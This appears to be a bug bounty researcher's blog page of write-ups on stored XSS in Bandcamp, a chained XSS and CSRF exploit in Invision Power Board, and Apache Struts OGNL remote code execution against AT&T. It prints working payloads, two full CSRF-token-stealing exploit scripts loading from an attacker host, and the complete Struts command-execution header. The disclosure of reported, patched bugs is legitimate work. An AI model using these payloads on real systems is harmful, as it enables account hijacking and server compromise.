• PHP Code Injection in X-Cart v5.2.23 / 5.3.1.9 / 5.3.2.13 / 5.3.3

    PHP Code Injection in X-Cart.pdf

  • Stored XSS in BandCamp

            Recently, while my friend Alyssa Herrera and I were collaborating on finding ffmpeg vulnerabilities in bug bounty programs, we came to learn that Bandcamp ran a bug bounty program. If you have never heard of BandCamp, it is essentially a platform that allows artists, fans, and labels to interact, connect, and support each other.

    I instantly was curious to see what I could find, so I signed up for an artist account and created a Bandcamp page. The first function I started to test was the Add Music function. This part of the site allows artists to add albums and tracks. I tested for IDOR and XSS, but sadly it wasn’t vulnerable to either.

    The next function I thought I wanted to test was the Add Merch function. There were 2 main parameters in this function that I wanted to test for XSS in immediately. I wanted to see if either the Item Title or Description accepted / rendered any HTML. I put in a simple XSS payload for both: <svg/onload=confirm(0)>

    I saved and published the new “merchandise”, and voila: NOTHING happened. It was sanitized and I was bummed that it didn’t work. Then I saw the Buy Now button, so I clicked it, which opened a new frame and my XSS fired! They were not correctly sanitizing the Item Title in this frame, thus allowing an attacker to simply insert any HTML or javascript.

    I am always reluctant in submitting an XSS with merely alert() because it just shows I was too lazy to actually come up with a cool proof-of-concept. With that in mind, I came up with this POC:

    alert("Stored XSS on BandCamp");
    alert("Your cookies: " + document.cookie);
    document.getElementById("follow-unfollow").click();alert("Thanks for the follow :^D");
    document.cookie="hacker=cdl;path=/;domain=.bandcamp.com";  
    

    Then changed the Item Title to <script src=//sxcurity.pro/bandcamp.js></script> which made the victim follow me and set the cookie “hacker” to “cdl” for bandcamp.com and all subdomains in their browser!
    Proof of concept video:


    Timeline

    • (6/29/2017) Reported XSS to Bandcamp via Email
    • (6/30/2017) Confirmed, Patched, & Awarded with a $500 bounty!


    Thanks for reading,

    Corben Leo (@sxcurity)

    • https://hackerone.com/cdl
    • https://twitter.com/sxcurity
    • https://bugcrowd.com/c
    • https://github.com/sxcurity
  • Multiple XSS & CSRF in Pulse Connect Secure v8.3R1

    Multiple XSS and CSRF in Pulse Connect Secure v8.3R1.pdf

  • Reflected and Stored XSS in Invision Power Board

            Invision Power Board is a very popular paid forum software. I decided to audit it and initially found a few stored XSS vulnerabilities in the admin panel, all had a low impact, so I didn’t report them. Then I came across the Announcements function in the Moderator Control Panel. Essentially this function allows moderators and admins to create an forum announcement for every user to see, and it also allowed any HTML in it!
            If I had access to a moderator account or higher, I could easily put an XSS payload in an annoucement and attack everyone. I obviously wasn’t satisfied so I kept searching for another bug to chain it with.

            I eventually came across the IPS UTF8 Converter, when I was using find & grep to find different variables in the source code. This tool, which comes with the default installation, is used to convert all the tables in the database to UTF-8. I opened up the path to the converter admin/convertutf8/index.php and quickly got an error message. I was pretty bummed because I was initally looking into an RCE, but came up empty. But then I saw the controller= parameter. I checked the source of the page and saw that this parameter was not sanitizing any input at all and that I could insert HTML and javascript here, no authentication required! My first proof of concept was just a simple payload => %29};alert(document.domain);{ %27

    Most times when people report an XSS or do a write up, they just use an alert(1) and just give a hypothetical attack. I didn’t want to do that with this one. I really wanted to weaponize this as much as possible (and in a fun way), so I coded a couple scripts to do just that!

    The first script I coded was: http://www.sxcurity.pro/pocs/xss.js

    /*
     _
    (_)_ ____      ___ __
    | | '_ \ \ /\ / / '_ \
    | | |_) \ V  V /| | | |
    |_| .__/ \_/\_/ |_| |_|
     |_|  IPB Exploit
          by @sxcurity
    */
    
    // specifies the target, the title of the announcement, and the xss payload!
    var target = 'http://<target>/index.php?/modcp/announcements/&action=create';
    var title = 'URGENT';
    
    // Don't use quotes! It'll break our form down below!
    var payload = '<script src=//<ATTACKER>/lol.js></script>';
    
    // steals the csrf token ;)
    var cdl = get(target);
    document.body.innerHTML = cdl;
    var form = document.getElementsByTagName('input')[3];
    var token = form.value;
    
    // DON'T EDIT!!
    // Gets the current date! Thanks stackoverflow
    var today = new Date();
    var dd = today.getDate();
    var mm = today.getMonth()+1; //January is 0!
    var yyyy = today.getFullYear();
    if(dd<10){
        dd='0'+dd;
    }
    if(mm<10){
        mm='0'+mm;
    }
    var today = mm+'/'+dd+'/'+yyyy;
    
    // build form with valid token and evil credentials
    document.body.innerHTML
      += '<form id="sxcurity" action="' + target + '" method="POST">'
    	+ '<input type="hidden" name="_submitted" value="1">'
      + '<input type="hidden" name="csrfKey" value="' + token + '">'
    	+ '<input type="hidden" name="MAX_FILE_SIZE" value="2097152">'
    	+ '<input type="hidden" name="plupload" value="sxcurity">'
    	+ '<input type="hidden" name="announce_title" value="' + title + '">'
    	+ '<input type="hidden" name="announce_start" value="' + today +'">'
    	+ '<input type="hidden" name="announce_end_unlimited" value="0">'
    	+ '<input type="hidden" name="announce_content" value="'+ payload +'">'
    	+ '<input type="hidden" name="announce_content_upload" value="sxcurity">'
    	+ '<input type="hidden" name="announce_app_unlimited" value="*">'
    	+ '<input type="hidden" name="announce_calendars">'
    	+ '<input type="hidden" name="announce_calendars-zeroVal" value="on">'
    	+ '<input type="hidden" name="announce_download_categories">'
    	+ '<input type="hidden" name="announce_download_categories-zeroVal" value="on">'
    	+ '<input type="hidden" name="announce_forums">'
    	+ '<input type="hidden" name="announce_forums-zeroVal" value="on">'
      + '</form>';
    
    // submits our csrf form!
    document.forms["sxcurity"].submit();
    
    function get(url) {
        var xmlHttp = new XMLHttpRequest();
        xmlHttp.open("GET", url, false);
        xmlHttp.send(null);
        return xmlHttp.responseText;
    }
    
    

    It requires a moderator or admin to visit (not too hard to do). Once they visit it, it creates an announcement abusing the first bug I found, thus chaining this reflected XSS with the stored one. It does this by stealing the moderator’s / admin’s CSRF token, builds a CSRF form with that token & with the HTML we want to be in the announcement, and then submits the form, creating our malicious announcement :)

    Payload: controller='};</script><script src=//<attacker>/xss.js></script>;{'

    The second script I coded was: http://www.sxcurity.pro/pocs/lol.js

    /*
    www.sxcurity.pro/pocs/lol.js
     _
    (_)_ ____      ___ __
    | | '_ \ \ /\ / / '_ \
    | | |_) \ V  V /| | | |
    |_| .__/ \_/\_/ |_| |_|
     |_|  IPB Exploit
          by @sxcurity
    
    index.php?/profile/<user>/&tab=field_core_pfield_1
    This will add "sxcurity is my hero" to the user's about me.
    */
    var target = 'http://localhost/ips_4141/index.php';
    var payload = 'sxcurity is my hero';
    
    // Gets the Profile URL of the victim.
    var cdl = get(target);
    document.body.innerHTML = cdl;
    var user_url = document.getElementsByTagName('a')[13];
    var user_url1 = document.getElementsByTagName('a')[14];
    var user_url2 = document.getElementsByTagName('a')[15];
    var user_url3 = document.getElementsByTagName('a')[16];
    var user_url4 = document.getElementsByTagName('a')[17];
    var user_url5 = document.getElementsByTagName('a')[18];
    var user_url6 = document.getElementsByTagName('a')[19];
    var user_url7 = document.getElementsByTagName('a')[20];
    var yay = user_url.href;
    var yay1 = user_url1.href;
    var yay2 = user_url2.href;
    var yay3 = user_url3.href;
    var yay4 = user_url4.href;
    var yay5 = user_url5.href;
    var yay6 = user_url6.href;
    var yay7 = user_url7.href;
    var mod_check0 = document.getElementsByTagName('a')[22];
    var mod_check1 = document.getElementsByTagName('a')[22];
    var mod_check2 = document.getElementsByTagName('a')[23];
    var mod_check3 = document.getElementsByTagName('a')[24];
    var mod_check4 = document.getElementsByTagName('a')[25];
    var mod_check5 = document.getElementsByTagName('a')[26];
    var mod_check6 = document.getElementsByTagName('a')[27];
    var check0 = mod_check1.href;
    var check1 = mod_check1.href;
    var check2 = mod_check2.href;
    var check3 = mod_check3.href;
    var check4 = mod_check4.href;
    var check5 = mod_check5.href;
    var check6 = mod_check5.href;
    
    
    /*
    Mods / admins have a different amount of links before their profile URL, so this makes sure
    we grab the right profile URL and not some random one!
    */
    if (yay.includes("profile")){
      //user = normal user acc.
      var profile = yay;
    } else if (yay1.includes("profile")){
      //user = normal user acc.
      var profile = yay1;
    } else if (yay2.includes("profile")){
      //user = normal user acc.
      var profile = yay2;
    } else if (yay3.includes("profile")){
      //user = normal user acc.
      var profile = yay3;
    } else if (yay4.includes("profile")){
      //user = normal user acc.
      var profile = yay4;
    } else if (yay5.includes("profile")){
      //user = normal user acc.
      var profile = yay5;
    } else if (yay6.includes("profile")){
      //user = normal user acc.
      var profile = yay6;
    } else if (yay7.includes("profile")){
      //user = normal user acc.
      var profile = yay7;
    } else if (check0.includes("profile")){
      //user = mod or admin
      var profile = check0;
    } else if (check2.includes("profile")){
      //user = mod or admin
      var profile = check2;
    } else if (check3.includes("profile")){
      //user = mod or admin
      var profile = check3;
    } else if (check4.includes("profile")){
      //user = mod or admin
      var profile = check4;
    } else if (check5.includes("profile")){
      //user = mod or admin
      var profile = check5;
    } else if (check6.includes("profile")){
      //user = mod or admin
      var profile = check6;
    }
    var final = profile + 'edit/';
    
    // steals the csrf token
    
    var csrf = get(final);
    document.body.innerHTML = csrf;
    var inp = document.getElementsByTagName('input')[3];
    var token = inp.value;
    
    // build form with valid token and evil credentials
    document.body.innerHTML
    += '<form id="woot" action=' + final + ' method="POST">'
    + '<input type="hidden" name="form_submitted" value="1">'
    + '<input type="hidden" name="csrfKey" value="' + token + '">'
    + '<input type="hidden" name="MAX_FILE_SIZE" value="2097152">'
    + '<input type="hidden" name="plupload" value="sxcurity">'
    + '<input type="hidden" name="bday[month]" value="0">'
    + '<input type="hidden" name="bday[day]" value="0">'
    + '<input type="hidden" name="bday[year]" value="0">'
    + '<input type="hidden" name="enable_status_updates" value="0">'
    + '<input type="hidden" name="enable_status_updates_checkbox" value="1">'
    + '<input type="hidden" name="core_pfield_1" value="' + payload + '">'
    + '<input type="hidden" name="core_pfield_1_upload" value="sxcurity">'
    + '</form>';
    
    // submits our csrf form!
    document.forms["woot"].submit();
    
    function get(url) {
        var xmlHttp = new XMLHttpRequest();
        xmlHttp.open("GET", url, false);
        xmlHttp.send(null);
        return xmlHttp.responseText;
    }
    

    This javascript steals the victim’s CSRF token, builds a CSRF form & submits it, enables the user’s status updates in order to change their “About Me” bio to “sxcurity is my hero” (shout out to Samy Kamkar for the inspiration!)

    Payload: controller='};</script><script src=//<attacker>/lol.js></script>;{'


    Needless to say, I had a ton of fun weaponizing this reflected XSS and abusing the HTML option in the Announcements! It was definitely a great learning experience as well. Read the full advisory here.

    Thanks for reading,

    Corben Leo (@sxcurity)

    • https://hackerone.com/cdl
    • https://twitter.com/sxcurity
    • https://bugcrowd.com/c
    • https://github.com/sxcurity
  • Remote Code Execution in AT&T

    I was pentesting AT&T to see if I could find a vulnerability (as one does), around 4-5 days after CVE-2017-5638 was released. Apache Struts 2 2.3.x before 2.3.32 and 2.5.x before 2.5.10.1 is vulnerable to Server-Side Template Injection, which allows attackers to execute commands on any vulnerable server. Basically, the file upload interceptor for these vulnerable versions “attempted to resolve error messages using a potentially dangerous function that evaluates OGNL.” It’s not actually a vulnerability within the Jakarta request wrapper, but rather in the file upload interceptor.

    I instantly was curious about this vulnerability and went to see if AT&T ran Struts, so I started off with a simple Google dork: site:att.com + ext:action and A LOT of results came up! I grabbed a random one: https://www.att.com/tobrcontract/tobrinfotc.action

    I opened up Burp Suite, intercepted the request and sent it to the Repeater. I added this payload in the content-type header to see if it was vulnerable:

    Content-Type:%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).! (#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='uname -a').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
    

    I sent the request and to my surprise, the command executed!

    Code Execution

    I was absolutely astounded that after a week of this 0day being released, that such a big company would still be vulnerable WHEN they had a security team and bug bounty program! I also identified a subdomain that was vulnerable.
    All goes to show that if you are WORKING in information security, it would be smart to pay attention to the community and to the news so you can protect yourself.

    Regardless, that’s how I could’ve pwned AT&T, which would have affected their hundreds millions of customers (~147 million wireless customers in the U.S. and Mexico).

    Thanks for reading!

    Corben Leo (@sxcurity)

    • https://hackerone.com/cdl
    • https://twitter.com/sxcurity
    • https://bugcrowd.com/c
    • https://github.com/sxcurity